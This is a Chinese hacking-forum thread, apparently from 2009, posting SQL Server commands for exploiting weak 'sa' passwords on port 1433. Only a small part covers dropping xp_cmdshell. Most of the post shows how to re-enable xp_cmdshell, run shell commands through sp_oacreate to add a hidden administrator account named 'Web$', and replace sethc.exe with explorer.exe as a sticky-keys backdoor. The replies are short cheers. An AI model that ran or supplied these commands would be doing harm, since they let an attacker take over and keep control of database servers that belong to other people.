找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1122|回复: 5

1433 sa弱口令相关命令

[复制链接]

482

主题

303

回帖

1486

牛毛

二级牛人

学习  !!!

积分
1486
QQ
发表于 2009-8-5 08:39:33 | 显示全部楼层 |阅读模式 来自 河北省沧州市
一.更改sa口令方法:
用sql综合利用工具连接后,执行命令:
exec sp_password NULL,'新密码','sa'
(提示:慎用!)

二.简单修补sa弱口令.

方法1:查询分离器连接后执行:
if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

GO

然后按F5键命令执行完毕

方法2:查询分离器连接后
第一步执行:use master
第二步执行:sp_dropextendedproc 'xp_cmdshell'
然后按F5键命令执行完毕


三.常见情况恢复执行xp_cmdshell.

1 未能找到存储过程'master..xpcmdshell'.
   恢复方法:查询分离器连接后,
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call

*/
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕

2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕

3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'            
然后按F5键命令执行完毕

四.终极方法.
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user Web hacker /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'

xp或2003server系统: 126错误!命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user Web$ hacker /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'


5 .C:\>DIR C:\
SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

分析器执行的语句:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

5下shift后门命令
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

1

主题

220

回帖

88

牛毛

初生牛犊

积分
88
发表于 2012-3-30 10:20:11 | 显示全部楼层 来自 辽宁省沈阳市于洪区
哦是这样的啊。。。

24

主题

214

回帖

393

牛毛

一级牛人

积分
393
发表于 2012-3-30 20:18:16 | 显示全部楼层 来自 广东省深圳市
相关的命令真的是好重的啊!

0

主题

557

回帖

81

牛毛

初生牛犊

积分
81
发表于 2012-3-31 16:33:43 | 显示全部楼层 来自 山东省德州市
好啊,有命令就去执行吧

19

主题

105

回帖

112

牛毛

一级牛人

积分
112
发表于 2012-3-31 20:30:53 | 显示全部楼层 来自 陕西省
我就是看不太懂代码,上学时没好好学

0

主题

1285

回帖

58

牛毛

初生牛犊

积分
58
发表于 2012-4-3 14:47:21 | 显示全部楼层 来自 山东省潍坊市
顶上去!顶上去!
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-26 09:09 , Processed in 0.342928 second(s), 59 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表